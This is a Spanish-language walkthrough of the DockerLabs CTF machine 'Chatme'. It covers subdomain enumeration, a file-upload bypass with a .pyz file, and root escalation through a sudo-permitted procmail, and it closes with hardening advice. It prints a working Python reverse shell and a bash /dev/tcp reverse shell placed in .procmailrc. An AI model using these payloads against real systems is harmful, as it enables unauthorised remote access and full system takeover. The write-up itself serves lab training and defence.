ChatMe
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina Chatme, diseñada por Pylon & Zunderrub para DockerLabs. La máquina simula una aplicación de chat vulnerable que combina múltiples fallos de seguridad:
- Enumeración de subdominios: Descubrimiento de hosts virtuales ocultos.
- Bypass de filtros de subida: Explotación de vulnerabilidad en upload de archivos.
- Ejecución de comandos: Subida y ejecución de reverse shell.
- Escalada de privilegios: Abuso de binario procmail con permisos sudo.
Metodología empleada:
- Reconocimiento: Identificación de servicios y enumeración de subdominios.
- Explotación: Bypass de filtros y subida de reverse shell.
- Escalada: Abuso de binario procmail para obtener root.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | Chatme |
| Autor | Pylon & Zunderrub |
| Dificultad | Medio |
| Fecha | 17/11/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir y desplegar la máquina:
unzip Chatme.zipsudo bash auto_deploy.sh Chatme.tarEl script devuelve la IP interna del contenedor:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Escaneo de puertos
Sección titulada «1.1 Escaneo de puertos»Identificamos servicios expuestos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oN allPorts.nmapResultados:
- 80/tcp — HTTP

1.2 Análisis inicial del servicio web
Sección titulada «1.2 Análisis inicial del servicio web»Accedemos al puerto 80 y encontramos una aplicación de chat básica:
curl -s http://172.17.0.2/No se observa funcionalidad interesante en la página principal, pero se identifica el dominio chatme.dl en el código fuente.
1.3 Configuración de hosts
Sección titulada «1.3 Configuración de hosts»Agregamos el dominio al archivo /etc/hosts:
echo "172.17.0.2 chatme.dl" | sudo tee -a /etc/hostsAl acceder nuevamente no se observan cambios significativos.
1.4 Enumeración de subdominios
Sección titulada «1.4 Enumeración de subdominios»Realizamos búsqueda de virtual hosts:
gobuster vhost -u http://chatme.dl/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -r
Subdominio descubierto: chat.chatme.dl
1.5 Configuración adicional de hosts
Sección titulada «1.5 Configuración adicional de hosts»Agregamos el nuevo subdominio:
echo "172.17.0.2 chat.chatme.dl" | sudo tee -a /etc/hosts1.6 Análisis del nuevo subdominio
Sección titulada «1.6 Análisis del nuevo subdominio»Accedemos a http://chat.chatme.dl y encontramos:
- Login en
login.php(no requiere contraseña, solo usuario) - Panel de chat funcional
1.7 Enumeración de directorios en el subdominio
Sección titulada «1.7 Enumeración de directorios en el subdominio»Realizamos escaneo específico:
feroxbuster -u http://chat.chatme.dl \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \ -x php,html,js,txt \ -t 100 \ -C 404
Recursos importantes:
/uploads- Directorio de archivos subidos/index2- Plataforma de chat tipo WhatsApp
1.8 Exploración de la plataforma de chat
Sección titulada «1.8 Exploración de la plataforma de chat»Accedemos a /index2:

La aplicación permite enviar mensajes y adjuntar archivos.
Paso 2 — Explotación
Sección titulada «Paso 2 — Explotación»2.1 Identificación de vulnerabilidad de upload
Sección titulada «2.1 Identificación de vulnerabilidad de upload»Al intentar subir archivos, recibimos error:

Restricciones identificadas:
- Solo archivos de imagen (jpg, png, gif, etc.)
- Extensiones forzadas a tipo imagen
2.2 Bypass usando extensión .pyz
Sección titulada «2.2 Bypass usando extensión .pyz»Investigar la aplicación revela que tiene similitudes con WhatsApp Web antiguo, el cual era vulnerable a upload de archivos .pyz (archivos Python comprimidos).
2.3 Creación de reverse shell
Sección titulada «2.3 Creación de reverse shell»Creamos un archivo shell.pyz:
import osimport socketimport subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("172.17.0.1", 443))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)subprocess.call(["/bin/sh", "-i"])2.4 Configuración de listener
Sección titulada «2.4 Configuración de listener»Activamos netcat en el puerto 443:
nc -nlvp 4432.5 Subida y ejecución
Sección titulada «2.5 Subida y ejecución»Subimos el archivo shell.pyz a través de la aplicación de chat.
2.6 Conexión exitosa
Sección titulada «2.6 Conexión exitosa»Recibimos conexión reverse shell:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 Enumeración de privilegios
Sección titulada «3.1 Enumeración de privilegios»Verificamos permisos sudo:
sudo -l
Permiso encontrado:
User system may run the following commands on chatme: (root) NOPASSWD: /usr/bin/procmail3.2 Investigación de procmail
Sección titulada «3.2 Investigación de procmail»procmail es un procesador de correo que puede ejecutar comandos a través de archivos .procmailrc.
3.3 Creación de archivo .procmailrc
Sección titulada «3.3 Creación de archivo .procmailrc»Creamos un archivo malicioso:
cat > .procmailrc << 'EOF':0| /bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"EOF3.4 Configuración de segundo listener
Sección titulada «3.4 Configuración de segundo listener»Activamos nuevo listener en puerto 1337:
nc -nlvp 13373.5 Ejecución del exploit
Sección titulada «3.5 Ejecución del exploit»Ejecutamos procmail con el archivo malicioso:
echo '' | sudo -u root /usr/bin/procmail -m .procmailrc3.6 Conexión root obtenida
Sección titulada «3.6 Conexión root obtenida»Recibimos shell como root:

Paso 4 — Fallos de seguridad identificados
Sección titulada «Paso 4 — Fallos de seguridad identificados»4.1 Vulnerabilidades principales
Sección titulada «4.1 Vulnerabilidades principales»- Filtros insuficientes en upload: Permite bypass mediante extensión
.pyz. - Permisos sudo peligrosos: Procmail configurado sin restricciones.
- Falta de sanitización de entrada: No se valida contenido de archivos subidos.
- Configuración insegura de procmail: Permite ejecución de comandos arbitrarios.
4.2 Recomendaciones
Sección titulada «4.2 Recomendaciones»-
Validación estricta de uploads:
- Verificar tipo MIME real, no solo extensión
- Restringir tipos de archivos permitidos
- Escanear archivos subidos en busca de código malicioso
-
Configuración segura de sudo:
Ventana de terminal # En lugar de:system ALL=(root) NOPASSWD: /usr/bin/procmail# Usar:system ALL=(root) NOPASSWD: /usr/bin/procmail -m /path/to/secure/config -
Hardening de procmail:
- Establecer umask restrictivo
- Configurar directorios seguros
- Deshabilitar ejecución de comandos externos